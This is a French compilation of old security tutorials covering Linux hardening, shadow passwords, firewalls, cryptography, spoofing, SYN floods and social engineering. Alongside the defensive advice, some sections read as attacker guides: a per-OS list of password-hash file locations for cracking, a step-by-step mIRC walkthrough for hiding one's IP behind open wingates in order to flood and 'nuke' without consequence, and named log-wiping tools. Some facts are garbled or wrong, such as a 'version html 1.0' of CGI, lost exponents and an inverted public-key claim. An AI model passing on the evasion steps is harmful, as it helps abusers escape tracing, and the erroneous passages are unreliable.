Si vous voulez installer un serveur appache pour le web faites bien gaffe à ne pas utiliser de cgi ou alors de bien prendre les dernières versions car on recence plus de 75 failles de sécurités dans la version html 1.0. Une fois ce serveur installé, parcourez le web à la recherche de scanneur de failles cgi (il y en a dans n'importe quel site de hacking US) et testez les tous sur vous après les avoir compilés. Si un ou plusieurs bugs sont trouvés, essayez de trouver sur internet le site du constructeur de cette version de cgi (le programme vous dira desquels il sagit) et cherchez le patch ou la dernière version. Ce n'est géneralement pas dur à trouver car leur dns portent le nom de leur version. Par exempe pour le php essayez www.php.com et vous avez 90% de tomber sur ce que vous voulez.
Bon imaginons maintenant qu'un hacker arrive à se procurer un shell sur votre bécane mais pas le root. Il va essayer plein d'exploits qu'il va importer via ftp (qui sera ouvert souvenez vous) mais si vous avez bien fait votre travail il ne devrait pas pouvoir trouver de failles. Vous pouvvez lui compliquer le travail en changeant les droit de cc, de gcc et de c++ qui sont des compilateurs dont les exploits ont besoin pour passer d'un fichier source à un éxécutable. Je dis de changer les droits parce si ous vous progresser dans le Hacking il va falloir apprendre à prgrammer en c/c++ et donc vous aurez besoin de ces compilateurs donc ne les supprimez pas. Maintenant il est certain que le Hacker compilera les exploits chez lui mais bon il peut que cela le fasse chier rien qu'un petit peu ;-)

Toujours dans la perspective que l'intru arrive à se procurer un shell il va falloir éviter ce que j'ai vu sur certains serveurs et qui font dresser les cheveux sur la tête comme par exemple un etc/passwd et un etc/inetd.conf avec des droits en écriture pour les users. Les conséquences de telles erreurs? Simple, dans le premier cas le hacker modifier le UID/GID de l'account où il est loggué par 0:0 puis se deconnecte, se reconnecte et passe root. C'est aussi simple que ça. Dans le deuxième cas cela lui permet d'ouvrir des ports fermés sur la bécanes et ouvrir ainsi des trous de sécurité que vous aviez fermé comme par exemple ouvrir un port régit par un démon comportant un bug que vous n'aviez pas patché car vous le pensiez désactivé à jamais. Et puisqu'on en est à changer les droits des fichiers et bien on va mettre vos passwords en shadows ce qui évitera que n'importe quel user ne les lise. A quoi ca sert un fichier shadows dans ce cas? Pas à le changer de place car tout le monde sait où se trouve un passwd shadow sous Linux mais plutôt à ce que n'importe quel user n'ait pas de droit de lecture dessus car c'est bien la différence entre passwd et shadow, le droit en lecture des users. Et ne vous avisez pas d'enlever le droit de lecture des users simple au /etc/passwd cela entrainerait des problèmes de fonctionnement certains. Alors pour voir si votre Linux a ses passwords shadows ou non vous allez dans /etc et si un fichier nommé "shadow" est là c'est qu'ils le sont. S'il n'est pas là vous allez faire ce que je vous dis pour les transformer en shadows. En fait c'est super simple si vous connaissez un peu linux car vous n'aurez qu'a prendre le fichier nommé shadow ou shado-u du cdrom Linux et l'installer. Je vais vous donner un exemple sous RedHat pour ceux qui débutent.Vous allez faire ce qui suit mais si votre cdrom est déjà monté pas la peine de faire le début. Vous mettez le CD n°1 de la Redhat (pas celui contenant les sources) et vous faites:
cd /
cd mnt
mount cdrom
cd cdrom/RedHat/RPMS
rpm -i shadow-u.rpm
Et voila c'était pas plus compliqué que ça.

Toujours dans le cas ou qq'un aurait réussi à se procurer un shell sur votre bécane, et pour éviter de leur faciler les buffer overflow, vous allez changer les droits sur un fichier appelé ps et qui se trouve dans /sbin. Ne donnez de droits à ce fichiers qu'au root de manière à ce que si un intru arrive à se loguer en simple user il ne puisse savoir quels programmes ont été lancés et surtout par qui il a été lancé. Bien sûr cela n'empechera pas les ls -l mais vous permettra de fainter par exemple en changeant le owner (propriétaire) d'un programme que vous utilisez souvent de root en simple user. Et de préférence un user que vous n'utiliser jamais. Cette feinte fera croire à l'intru qu'un buffer overflow sur le programme ne sera pas interressant vu qu'il n'aperatient qu'a un simple user alors qu'en faite vous l'aurez lancé en root. Le mieux étant bien sur de ne lancer ce programme qu'en siple user et de se reloguer après en root apres si vous les desirez mais personnelemnt je me sent mieux dans la peau d'un root :-) Bref, enlevez les droits aux simple user au fichier ps ca rendra votre linux un poil plus secure.

Bon maintenant que dire de plus pour sécuriser votre Linux? Il va falloir que vous supprimiez les droits aux users à tous les fichiers contenant des password comme ceux pour votre connection internet mais faites cependant attention à ce que cela ne vous empèche pas de vous connecter en temps qu'user. Je ne vais pas vous faire un listing complet d'où changer les droits car avec le temps vous apprendrez de vous même et une liste exaustive ne pourrait être de toute façon faite car vous avez probablement sur vos distributions des programmes que je n'ai même jamais utilisé. N'hésitez pas à faire des expériences, c'est comme ça que l'on apprends. Voila je pense avoir fait le tour mais je vous conseillerais d'aller sur internet à la recherche de programmes pour renforcer encore votre sécurité comme par exemple Xinetd ou tcp-wrapper ou encore inetd.sec qui sont des programmes de substitutaion à inetd.conf qui sont plus secure et en freeware sur le net. Il existe encore beaucoup d'exemples de programmes visant à obtenir une sécurité accrue et une simple visite sur un site de sécurité informatique peut contribuer à augmenter votre sécurité de bien 5% à 10%.

Il faut bien comprendre qu'aucune sécurité n'est efficace à 100%, mais les astuces qui vous seront fournis dans le texte à suivre vont vous permettre d'éviter que n'importe qui puisse pirater votre site...

Lors de l'inscription sur un serveur d'hébergement, on vous demande de remplir un formulaire qui correspond à votre profil d'utilisateur (nom, prénom, adresse, etc...). Le mieux à faire est de ne surtout pas mettre ses informations réelles, mais des infos bidons (je sais que cela est normallement interdit par les hébergeurs mais bon, c'est question de sécurité). Pour deux raisons :

- Le serveur peut-être amené à faire des listing d'utilisateurs, et les diffuser à d'autres serveurs avec lesquels ils travaillent...

- Des failles permettent d'exploiter ces informations. De plus il est conseillé de ne pas souscrire à de mailing lists ou de newslists, etc... des utilisateurs malveillants pourraient dresser un profil de votre personnalité.

Enfin, n'oubliez pas de choisir un password mélangeant majuscules, minuscules, chiffres et lettres comme Ank58K2r, voir le tutorial "choix de mot de passe" pour plus d'expliquation sur ce point.

Ouais mais ce n'est pas là que pour faire joli en fait. Vous vous en doutiez je suppose vu que les passwords c'est généralement fait pour autoriser un accès aux seuls autorisés et le restreindre ou le barrer pour les autres. Si vous savez pas ce qu'est un système Unix, ce n'est pas la peine de lire cet article. Bon pour les autres, vous savez que pour se faire root sur une machine sous unix il faut connaître le login et le pass du root (et oui c'est quand même rare que le root ait gardé le même login :). Ces informations étaient gardées dans un fichier appelé passwd qui se trouvait dans le répertoire /etc. Alors c'était facile car une fois ce fichier trouvé il suffisait de le passer à Jack ou à John (cracker Jack ou John the ripper) et avec ses bibliothèques de mots, il moulinait jusqu'à trouver le bon et hop le pass était trouvé (bah oui le pirate devait bien le décrypter :).
Maintenant avec les pass shadows, les fichiers password ne se trouvent plus dans le fichier /etc. Et oui, c'était trop facile. Reste que si un pirate trouve ce fichier, il peut toujours utiliser Jack ou John, ça marche toujours. Bien sûr il lui faut les bonnes bibliothèque et plus il en a mieux c'est pour lui.
Où le pirate trouve ce fameux password shadow alors? En fait il faudra qu'il se renseigne sur le type d'OS sur lequel il est (normal quoi :) et quand il saura duquel il sagit, il ne lui suffira plus qu'à aller à la pèche aux informations le concernant. Et pour cela il se reporte à la liste que j'ai recopié en dessous.

OS et versions - location du fichier contenant les passwords :
AIX 3 - /etc/security/passwd ou /tcb/auth/files/1ère lettre du login/login
A/UX 3.Os - /tcb/files/auth/?/
BSD4.3-Reno - /etc/master.passwd
ConvexOS 10 - /etc/shadow
Convex0S 11 - /etc/shadow
DG/UX - /etc/tcb/aa/user
EP/IX - /etc/shadow
HP-UX - /.secure/etc/passwd
IRIX 5 - /etc/shadow
Linux 1.1 - /etc/shadow
OSF/1 - /etc/passwd/[.dir|.pag]
SCO Unix #.2.x - /tcb/auth/files/1ère lettre du login/login Exemple: /tcb/auth/files/r/root
SunOS 4.1+c2 - /etc/security/passwd.adjunct
SunOS 5.0 - /etc/shadow
System V 4.0 - /etc/shadow
System V 4.2 - /etc/security
Ultrix 4 - /etc/auth/[.dir|.pag]
UNICOS - /etc/udb

Cette liste est assez courte, mais elle permet déjà au pirate de s'occuper un bon bout de temps. Ah oui, dernière chose, pour savoir si un pass est shadow, il suffit d'aller dans le répertoire où il serait s'il n'était pas shadow et de regarder si il y a un X (sous un browser normal) ou une *(en mode console UNIX, de Linux par exemple).
La plupars du temps les systèmes ayant des pass shadows (UNIX) ont gardé leur /etc/passwd mais celui ci ne sera d'aucune utilité ou presque vu que tous les users inscrits dedans seront désactivés. Cela ne veut pas dire que, si un user a le login "JB34" dans le fichier passwd d'une bécane ayant ses pass shadows, le login "JB34" n'existe pas et bien au contraire il se peut très bien que ce soit encore l'un des logins autorisés (ce n'est pas obligé, ce login ne peut être qu'un piège ou un ancien login non effacé mais désactivé). Le problème est que sur UNIX quand un login est désactivé, on remplace l'endroit où devait se trouver le pass crypté par une * (si on regarde le passwd depuis un UNIX) ou un X (si on le regarde depuis un browser). Et les pass shadows reprennent le même principe puisque qu'un fichier passwd du repertoire /etc (toujours si la machine a ses pass shadows) aura tous les logins suivis d'une * et non du pass crypté. Donc si le pirate arrive (par exemple depuis un cgi) à regarder le /etc/passwd, il peut voir s'il a des pass shadows avec les *, et après, en fonction de l'OS, regarder le fichier contenant les passwords (grâce à la liste ci dessus). Entendons nous bien, si le /etc/passwd contient des étoiles mais au moins un login suivit d'un password, la machine n'aura pas de pass shadows et donc le pirate ne perdra pas de temps à chercher le fichier contenant les pass shadows, il n'existera pas et s'il existe c'est qu'il a servi mais qu'il ne sert plus (ou pour pièger le pirate, mais là je ne vois pas bien en quoi).
Une dernière chose, les serveurs tournants sur AIX d'IBM peuvent ne pas avoir de croix mais des # ou des ! mais cela est aussi connu des pirates.

Dans cette partie nous allons découvrir les méthodes utilisées pour améliorer la sécurité sur Internet. Les deux principaux espoirs de la sécurité sur Internet résident dans la cryptographie et les firewalls.

Les firewalls sont souvent appelés les préservatifs pour les réseaux des entreprises. Ils fournissent une protection digitale associée à la rapide croissance des réseaux et de la commercialisation de l'Internet. Comme les préservatifs, beaucoup de gens ont entendu parler des firewalls mais peu de personnes les utilisent. De plus, le nombre d'incidents de sécurité grandissant sur Internet laisse suggérer très fortement que trop peu de personnes les utilisent correctement.

Un firewall est une sorte de technologie de contrôle d'accès qui empêche les accès non-autorisés aux ressources d'information en placant une barrière entre le réseau de l'entreprise et le réseau non-sécurisé (Internet, par exemple). Un firewall est aussi utilisé pour empêcher les transferts d'information propriétaire du réseau de l'entreprise. En d'autres mots, un firewall fonctionne comme une passerelle controlant le traffic dans les deux directions.

Le firewall typique est un ordinateur bon marché fonctionnant avec UNIX éloigné de toute donnée confidentielle qui est placé entre Internet et le réseau de l'entreprise. Certains firewalls ne permettent que le passage de l'email protégeant ainsi tout le réseau contre toutes les attaques possibles autres que contre le service email. D'autres firewalls fournissent moins de restrictions et bloquent les services qui sont connus pour être une source de problèmes.

Généralement, les firewalls sont configurés pour protéger contre les connexions interactives (Telnet par exemple) provenant du " monde extérieur ". Ceci, plus que toute chose, aide à empêcher les agresseurs de se connecter sur les machines du réseau intérieur. Les firewalls les plus élaborés bloquent le traffic de l'extérieur vers l'intérieur mais permettent aux utilisateurs de l'intérieur de communiquer librement avec l'extérieur.

Les firewalls sont d'autant plus importants qu'ils fournissent un point de rencontre où la sécurité et la vérification peuvent être imposés. Dans une situation où un ordinateur est attaqué par quelqu'un, le firewall peut agir comme une cassette enregistrable et un outils de tracage.

Les firewalls ne peuvent pas protéger contre les attaques qui ne passent pas par le firewall. Beaucoup d'entreprises qui se connectent à l'Internet sont très concernées par les fuites de données propriétaires qui passe par ce chemin. Malheureusement pour ces concernées une disquette magnétique peut être utilisée tout aussi efficacement pour transférer des données. La politique du firewall doit être réaliste et refléter le niveau de sécurité du réseau de l'entreprise. Par exemple, un site avec des données top secrètes ne doit pas avoir de firewall du tout : il ne doit tout simplement pas avoir sa place sur l'Internet. Les systèmes avec des données confidentielles et secrètes doivent être isolés du reste du réseau dans l'entreprise.

Les firewalls ne peuvent pas vraiment protéger contre les choses comme les virus. Il y a trop de sorte d'encoder des fichiers exécutable pour les transférer à travers les réseaux. Il y a également trop d'architectures différentes et de virus pour essayer de les chercher. En d'autres mots, un firewall ne remplace pas la sécurité et la conscience de la part des utilisateurs. En général, un firewall ne protège pas contre les attaques orientées données (attaques dans lesquelles quelque chose est mailé ou copié vers un ordinateur interne où il sera ensuite exécuté). Cette forme d'attaque s'est produite dans les anciennes et nombreuses versions de " Sendmail ".

Il y a beaucoup de sortes de firewalls. Toutefois, la principale part des firewalls sont des programmes installés sur le routeur de l'entreprise ou sur un autre ordinateur. Il existe quand même des firewalls " hardware " qui sont plus rares. Ce sont des cartes électroniques qui sont branchées dans l'ordinateur.

Il peut y avoir plusieurs rôles pour un firewall : certains sont filtreurs de paquets, routeurs, passerelles, ordinateur bastion, etc ... Il y a aussi une large variété de firewalls pour chaque système d'exploitation : UNIX, Novell Netware, Windows NT, LINUX, etc... De nos jours, les firewalls sont des remparts efficaces contre les agresseurs de toutes sortes. Toutefois, si un firewall n'est pas proprement installé, il peut se révéler pire que de ne pas en avoir à cause du faux sentiment de sécurité qu'il procure.

La protection des mots de passe est un des principaux problèmes de la sécurité sur Internet bien qu'il existe des solutions pour lutter efficacement contre ce dernier :

Les mots de passe " shadow " sont un système où le fichier de mots de passe cryptés est caché de tous les utilisateurs excepté l'administrateur, en espérant empêcher les tentatives de crackage de mots de passe à la source.

Premièrement, il serait intéressant de voir combien de mots de passe possibles il existe. La plus part des gens sont inquiets que des programmes comme " crack " vont éventuellement gagner en puissance jusqu'à ce qu'ils soient capables d'effectuer un recherche exhaustive de tous les mots de passe possibles pour rentrer dans un compte utilisateur spécifique (généralement administrateur).

Les mots de passe valides sont créés à partir de 62 charactères [A-Za-z0-9] et ils peuvent inclure encore plus de charactères comme : " \}][{$££@ !%&(#/)=-:_.;,?">< ". Ils doivent également être de longueur comprise entre 5 et 8 charactères. En utilisant seulement les 62 charactères communs, la taille de la série de mots de passe valides est : 625+626+627+628 = 2,2 E+14. Un nombre qui est bien trop grand pour entreprendre une recherche exhaustive avec les technologies actuelles. De plus, si l'on peut utiliser les 95 charactères, qui ne sont pas des charactères de contrôle, dans les mots de passe, cela réduit d'autant plus les chances du cracker de mots de passe.

Par contre, n'importe quel mot de passe qui est dérivé d'un dictionnaire (ou d'information personnelle), même modifié constitue un mot de passe potentiellement crackable. Par exemple les mots de passe basés sur les :

- mots des dictionnaires de cracking : porsche911, 123456789, azerty, abcxyz, mr.spoke

Un bon mot de passe doit toutefois être facile à se souvenir mais difficile à cracker. Le meilleur moyen de créer un mot de passe incrackable est de le faire apparaitre comme défini au hasard. Il ne faut pas oublier d'insérer des chiffres et des signes de pontuation dans le mot de passe. La méthode favorite pour trouver un mot de passe incrackable mais facile à se souvenir est de :

1. Prendre une phrase ou une ligne d'un poême ou d'une chanson qui doit être d'au moins long de 8 mots

2. Prendre la première lettre de chaque mot et l'utiliser dans le mot de passe.

Par exemple, la phrase : " Un pour tous, et tous pour un " donne un mot de passe relativement incrackable : " Upt,&tp1 "

Un bon moyen pour un administrateur réseau de savoir si les utilisateurs ont des mots de passe sûrs est d'utiliser les programmes de crackage de mots de passe sur son propre système comme le ferait un cracker. " Crack " est un bon outil pour s'assurer que les utilisateurs de système UNIX n'ont pas choisis des mots de passe facilement crackable qui apparaissent dans les dictionnaires standards.

La cryptographie est la technologie qui permet d'envoyer des messages qui ne peuvent être compris (décryptés) que par le destinataire en améliorant les contrôles sur les messages routés par l'Internet, et en améliorant la qualité du système d'exploitation à abaisser les défauts des programmes et d'autres vulnérabilités de sécurité. Il y a deux principaux types de cryptage : le cryptage asymétrique (appelé aussi cryptage à clé publique) et le cryptage symétrique.

C'est un système cryptographique qui utilise deux clés : une clé publique connue de n'importe qui et une clé secrète connue uniquement du destinataire du message.

Par exemple : Quand Jean veut envoyer un message sûr à Paul, il utilise la clé publique de Paul pour crypter son message. Ensuite Paul utilise sa clé privée pour le décrypter.

Un élément important au système de clé publique est que les clés publique et privée sont en relation de telle facon que seulement la clé publique peut être utilisée pour crypter le message et seulement la clé privée correspondante peut être utilisée pour le décrypter. Deplus, il est virtuellement impossible de déduire la clé privée si on ne connait pas la clé publique.

C'est un type de cryptage où la clé utilisée pour crypter et décrypter le message est la même. Le cryptage de type DES (Data Encryption Standard) est une des plus célèbre forme de cryptage symétrique. Il est d'ailleurs toujours utilisé par les administrations aux Etats-Unis pour envoyer des données à travers un réseau. Toutefois, elles utilisent le système de cryptage à clé publique pour envoyer la clé DES au destinataire du fichier crypté !

Avec la technologie actuelle du protocole IP, il est impossible d'éliminer les paquets spoofés. Mais il existe quelques solutions pour réduire le nombre de paquets spoofés entrant et sortant du réseau.

La meilleure méthode est d'installer un routeur-filtreur qui limite les entrées à l'interface externe (connue sous le nom de filtreur d'entrée) en n'accordant pas le droit d'entrée à un paquet qui a une adresse source du réseau interne. Il peut aussi être bon de filtrer les paquets sortants qui ont une adresse source différente du réseau interne afin de prévenir une attaque d'IP spoofing provenant du réseau interne.

La combinaison de ces deux routeurs-filtreurs doit empêcher les agresseurs extérieurs d'envoyer des paquets prétendants venir du réseau interne. Cela doit également empêcher les paquets provenants du réseau interne de se prétendre venir de l'extérieur du réseau. Ces filtreurs ne vont pas stopper toutes les attaques de type TCP-SYN du moment que les agresseurs extérieurs peuvent spoofer leurs paquets de facon qu'ils proviennent d'autres sites extérieurs, et les agresseurs internes peuvent toujours envoyer des attaques spoofing avec des adresses internes.

Il existe de nombreux ooutils disponible sur l'Internet pour tester la sécurité d'un système. Certains outils scannent les systèmes pour connaitre leurs vulnérabilités, d'autres vérifient l'intégrité des fichiers. L'administrateur réseau est fortement conseillé d'utiliser ces outils avant les agresseurs si il veut éviter les problèmes les plus courants.

C'est une manière de considérer qu'un système ne peut être sûr que aussi longtemps que personne, en dehors des personnes qui l'ont créé, n'ait compris son fonctionnement interne. La technique est de cacher les comptes utilisateurs, les mots de passe dans des fichiers exécutables ou des programmes avec l'espoir que personne ne les trouvera.

C'est une philosophie qui a la faveur des bureaucrates américains. La principale critique de cette technique est que ce n'est que de la pseudo-sécurité car elle ne résoud pas les vrais problèmes de sécurité mais à la place, les cache. De plus, le responsable du petit groupe qui a créé ce système doit faire confiance aux employés pendant toute leur vie. Et si les employés ont une meilleure offre de salaire ailleurs, les connaissances s'envont avec eux que les connaissance soient remplacables ou non.

Toutefois, cette technique peut rentrer en complément d'autres mesures de sécurité.

La restriction d'IP sert à limiter les utilisateurs à se connecter à certaines parties du serveur. En accordant seulement quelques adresses IP à se connecter au serveur, l'agresseur n'aura pas l'accès aux domaines où il peut causer des dommages.

Une des craintes majeures pour la sécurité d'un système n'est pas les trous techniques de sécurité d'un système mais le manque de conscience des utilisateurs ou de l'administrateur. Par " manque de conscience ", je veux dire que les utilisateurs d'Internet ont souvent l'impression que le seul moyen par lequel un hacker peut rentrer dans leur compte ou sur un système est en utilisant trappe laissée ouverte par un administrateur non-conscencieux. Une autre croyance est qu'il n'y a aucune valeur dans un simple compte utilisateur et que personne ne va s'ennuyer à essayer de le pénétrer. Aussi bizarrement qu'il puisse paraitre, ce qu'un agresseur trouve d'intéressant dans un compte utilisateur est tout simplement l'accès au système. Un simple accès permet à l'intrus de devenir super-utilisateur après avoir exploité une faille dans le système d'exploitation du système ou bien le compte peut être utilisé comme passerelle pour attaquer d'autre sites. Bien évidemment, l'utilisateur victime est responsable de se qui se produit sur son compte, d'où l'intéret de le protéger correctement.

Un bon moyen pour faire prendre conscience aux utilisateurs de l'importance de leur compte (et donc de leur mot de passe) est de prendre des mesures strictes en les encourageant :

- à protéger leur mot de passe : être prudent des regards indiscret au moment de taper le mot de passe,

- à changer leur mot de passe régulièrement et tout spécialement après s'être connecté sur une machine éloignée,

Un autre moyen d'impliquer les utilisateurs à respecter les mesures de sécurité sur un système est de leur faire signer une charte de responsabilité et de bonne conduite sur l'Internet. La sécurité est l'affaire de tous sur un système : l'administrateur aussi bien que les utilisateurs. Et le rôle de l'administrateur est d'éduquer ses utilisateurs à la sécurité.

Le spoofing pour windows95, le pirate se connecte sur irc avec un programme qui modifie son identité mais son dns reste le même. En fait il reste vulnerable aux attaques des DoS(Denial of Services) ou NUKES, des floods, ect... Donc on peut dire que c'est inutile et juste utilisé par les lamahs pour impressionner.

Bon ici on ne peux parler de grosses techniques mais plutot de sysadmin pas vaillant qui nous aident. Ici je parle des wingates qui permettent de spoofer l'adresse du wingate connecte, des proxy et des shells qui font la meme chose. En fait on rencontre souvent des gens qui vont sur irc, qui wingatent..ou qui run un shell UNiX pour pouvoir nuker... Cette application des wingates, proxy et des shells permet surtout aux pirates de pratiquement spoofer leur presence quand ils piratent un serveur. Je veux dire que par la combinaison suivante qui m'a été donnée par un Conseiller senior d'un service internet quelconque, ils peuvent être intracable : leur ordi==>wingate==>wingate==>Shell==> wingate ==>CIBLE. Bon il faut s'entendre intracable par traceroute et quelques autres commandes. Bon, il faut aussi mentionner que s'ils piratent par l'intermediaire d'un shell il est bon de savoir qu'ils effacent les logs. Bien sûr il y a plein d'exploits pour ca : utmpclean, zap, marry, etc... (voir:www.rootshell.com). Autre chose à propos des wingates, certains wingates sont ouverts seulement pour les attirer vers eux puis ensuite logger toutes leurs actions mais les pirates connaissent cela. Pour trouver les wingatesils utilisent un wingate scanner.

Le blind spoofing est surtout utilise pour les DoS, Nukes, etc... Il permet de spoofer l'adresse d'un packet. Mais le packet reste traçable sur le reseau de routers utilisé pour lancer l'attaque. Alors le packet est tracable et vu que les routers sont logges alors on peut retracer les pirates si le besoin s'en fait ressentir. En fait le blind spoofing repose sur le principe que le packet se dirige dans une seule direction Alors on ne peut voir le resultat. Exemple: J'envoie un packet spoofe a 170.90.90.90 provenant de l'adresse 120.3.2.1. Je n'ai plus de controle sur 120.3.2.1 . N'oubliez pas que ma vrai adresse n'est pas 120.3.2.1 mais que si on trace 120.3.2.1 et mon adresse on retrouvera qu'il provient des meme routers que notre ip et si on regarde dans les logs des routers, on retrouvera l'ip de provenance. Le blind spoofing est donc souvent utilise dans les nukes car il n'y a pas besoin de recevoir un packet pour confirmer qqch. Encore une fois ces attaques peuvent etre loguées ou tracées mais un packet provenant d'un blind spoof a une durée de vie égale à celle des logs que les routers gardent. Alors si le pirate veut savoir combien de temps sa securité peut être compromise, il appelle son ISP et lui demande combien de temps les routers gardent les logs, bien sûr avec du social engineering bien placé, il arrivera à le savoir.

Le pirate s'en sert pour ne pas se faire nuker ou pour pouvoir rentrer dans un salon où il était banni, ou encore pour flooder en toute impunité. Pour cela le pirate se sert d'un scanner d'ip et aussi de Mirc.

Quand vous vous connectez à internet votre fournisseur d'accès vous donne une ip. Jusque là tout va bien. Mais le fournisseurs d'accès pourra à l'aide de cet ip remonter jusqu'à vous. C'est donc une bonne raison pour un pirate de la cacher. Et tant qu'à faire il va prendre celle d'un autre. Alors il lance mirc et se connecte à un serveur irc quelconque et rentre dans un salon. Le nom de celui-ci n'a pas d'importance du moment qu'il y a au moins une personne dedans. Il va trouver l'ip de l'autre personne en faisant un /dns ou un whois (voir rubrique "Trouver une adresse IP"). Une fois qu'il a son ip il lance son scanner d'ip. Là on va faire un exemple:
Imaginez que le nick (pseudo) du man soit Pigeon et que l'ip que le pirate a trouvé de lui soit 172.194.56.132 (certains diront "arf encore un mec d'AOL, ils sont partout" et bien je suis aussi sur AOL :).
Etant donné qu'un scanner scanne toujours les ip de 0 à 255 et toujours en ordre croissant il va rentrer dans le scanner les ip suivantes: 172.194.56.0 et 172.194.56.255. Il choisit un port, le 23, celui du telnet. Et il lance la recherche. Le scanner va lui sortir plusieurs ips . S'il n'en sort pas, le pirate fait un /dns sur un autre nick et ainsi de suite jusqu'à trouver des ip mais il n'a normalement pas de problèmes. Les ip qui apparaîtront sont les ip de machines ayant le port choisi (ici le 23) ouvert. Imaginez que plusieurs ip sortent dont celle ci: 152.194.56.13
Maintenant il va taper l'instruction suivante sur irc : /serveur ip_du_mec port_tenet
Dans notre exemple : /server 152.194.56.13 23
Mirc va alors écrire les commandes suivantes :

*** Disconnected
*** Connecting to 152.194.56.13 (23)
Local host: JB34machine (152.172.127.204)
ÿû ÿûÿýWinGate>NICK endrix
Connecting to host NICK...Host name lookup for 'NICK' failed
USER JB34 "JB34machine" "152.194.56.13" nono lpti robo
Connecting to host USER JB34 "JB34machine" "152.194.56.13" ...Host name lookup for ' USER
JB34 "JB34machine" "152.194.56.13" ' failed

Une fois l'ip spoofée auprès d'irc le pirate va se reconnecter car la précédente manipulation l'a déconnecté. Pour ça il fait : /raw nom_du_serveur port_irc
Dans notre exemple : /raw irc01.irc.aol.com 6667
Mirc va alors vous écrire les commandes suivantes :

aol.com rg "JB34machine" "152.194.56.13" ...Host name lookup for ' USER
JB34 "JB34machine" "152.194.56.13" ' failed
Connecting to host irc01.irc.aol.com ...Connected

Maintenant les formalités :
son nick : /nick nick_du_pirate
Dans notre exemple : /nick JB34
puis : /user ident x x full_name
Dans notre exemple : /user nono lpti robo x x JB34machine
Voilà son adresse ip est spoofée sur mirc. Si quelqu'un fait un /dns ou un whois sur lui, c'est l'adresse ip spoofée qu'il verra et non la vrai.

Le pirate pourra donc nuker, flooder à sa guise sur irc sans rien risquer et ne pourra pas être banni de salon.

Quand un systeme essaye d'etablir une connection TCP (Transfert Control Protocole) à un serveur, le client et le serveur se mettent à échanger une sequence de message. Cette technique de connection est appliquée sur toutes les connections TCP (telnet, web, email, etc ...).
Le client commence par envoyer un flags SYN (SYN pour synchronisation) au serveur. Le serveur reconnait le message SYN puis envoi un flags SYN-ACK (ACK pour acknoledgement) au client. Puis le client finit par etablir la connection en repondant par un flags ACK. Puis la connection entre le client et le serveur permet d'échanger les données spécifiques.
En fait ca donne un truc comme ca (une image vaut mieux que mille mots):

La connection entre le client et le serveur permet d'échanger les données spécifiques.

En fait la technique consiste a empecher le client d'envoyer le message ACK.
Lorsque le serveur ne recoit pas le message ACK il construit dans sa memoire un systeme de données qui décrit toutes les mauvaises connections mais cette structure n'as pas une taille infinie. Alors un pirate peut créer un debordement de mémoire (overflow) sur le serveur si il ouvre partiellement beaucoup de connections comme je le disais plus haut.
Bon comment il va faire pour creer un debordement de memoire sur le serveur, c'est très simple, il va utiliser un programme pour envoyer des flags SYN au serveur.

Remarques :
-Ca fait quoi au juste, en fait ca empeche toutes personnes de se connecter au serveur mais les personnes qui étaient connectées avant l'attaque peuvent continuer à utiliser le serveur.
-Cette technique nécessite une bonne connection , un pirate possédant un modem 56k reussira à SYN flooder le serveur pas plus de 45 secondes grand maximum.

A chaque fois qu'un utilisateur fait une requête pour accéder à un fichier, le système d'exploitation décide si oui ou non l'utilisateur à le droit d'accéder au fichier en question. Le système d'exploitation prend une décision basée sur qui est le propriétaire du fichier, qui demande à accéder au fichier et quelles permissions d'accès le propriétaire à mis. Les permissions d'accès déterminent qui aura accès au fichier.

Il y a deux principales raisons pour que l'on protège ses fichiers des autres utilisateurs. La première raison est que l'on peut souhaiter protéger le contenu de ses fichiers des autres utilisateurs. On peut considérer le contenu du fichier comme privé et on ne veut pas que les autres utilisateurs soit capable de lire ou de modifier le contenu du fichier. La seconde raison est que si des tierces personnes peuvent modifier des fichiers, elles peuvent aussi obtenir l'accès au compte. Par exemple, si un utilisateur malintentionné a l'accès "écriture" dans le répertoire racine, il peut alors créer ou modifier le fichier ".rhost" (sous UNIX) qui donne un accès illimité à n'importe qui au compte. Il va sans dire, comme l'utilisateur est responsable de son compte, que tous les "dégats" engendrés sont sous sa responsabilité directe.

Le principal but pour une personne qui cherche à s'introduire dans un système est d'obtenir l'accès administrateur (root). Cet accès permet à la personne de faire tout ce qu'elle désire sur un système, elle peut effacer, modifier ou ajouter de nouveaux fichiers. La plus part des intrusions où le hacker obtient l'accès administrateur commencent quand l'intrus pénètre dans un compte utilisateur normal. Une fois sur la machine en tant qu'utilisateur sans privilège particulier, le hacker peut alors lancer une attaque pour obtenir l'accès "super utilisateur" sur la machine en utilisant un trou de sécurité dans le système d'exploitation.

C'est un terme utilisé parmis les hackers pour une technique d'intrusion sur un système qui repose sur les points faibles des personnes qui sont en relation avec un système informatique plutôt que sur le logiciel. Le but est de piéger les gens en leur faisant révéler leur mot de passe ou toute autre information qui pourrait compromettre la sécurité du système informatique.

Le piège classique est de faire croire aux utilisateurs du système que leur mot de passe est demandé d'urgence par le ou les techniciens. Le hacker mentionera qu'il a besoin du mot de passe pour d'importants travaux d'administration du système et il demandera à se qu'on lui envoie le mot de passe par mail. Il faut savoir, comme nous le verrons plus loin, qu'il est possible pour le hacker de créer un e-mail faisant croire qu'il provient de quelqu'un que l'on croit être le légitime administrateur réseau. Souvent, le hacker enverra le message à tout les utilisateurs du système en espérant que plusieurs utilisateurs tomberont dans le piège. Bien évidemment si la ruse se déroule par téléphone, le hacker imitera la voix du technicien.

Une autre forme de social engineering va jusqu'à deviner le mot de passe d'un utilisateur. Les gens qui peuvent trouver des informations sur un utilisateur, peuvent utiliser ces informations pour deviner le mot de passe de ce dernier. Par exemple, le prénom de ses enfants, leur date de naissance ou bien encore la plaque d'immatriculation de sa voiture sont tout à fait candidat à être des mots de passe. Les hackers peuvent aller très loin pour deviner les mots de passe.

Les mots de passe sont très important parce qu'ils sont la première ligne de défence contre les attaques sur un système. Ceci peut être établit simplement : si un hacker ne peut pas interagir sur un système distant et qu'il ne peut pas ni lire ni écrire dans le fichier des mots de passe alors il n'a quasiment aucune chance de développer une attaque couronnée de succès sur ce système. C'est également pourquoi, si un hacker peut au moins lire le fichier des mots de passe sur un ordinateur distant, il aura aussi la possibilité de cracker un des mots de passe contenu dans ce fichier. Si il en parvient, alors on peut penser qu'il pourra se connecter sur ce système et qu'il pourra s'introduire en tant qu'administrateur en passant par un trou de sécurité dans le système d'exploitation.

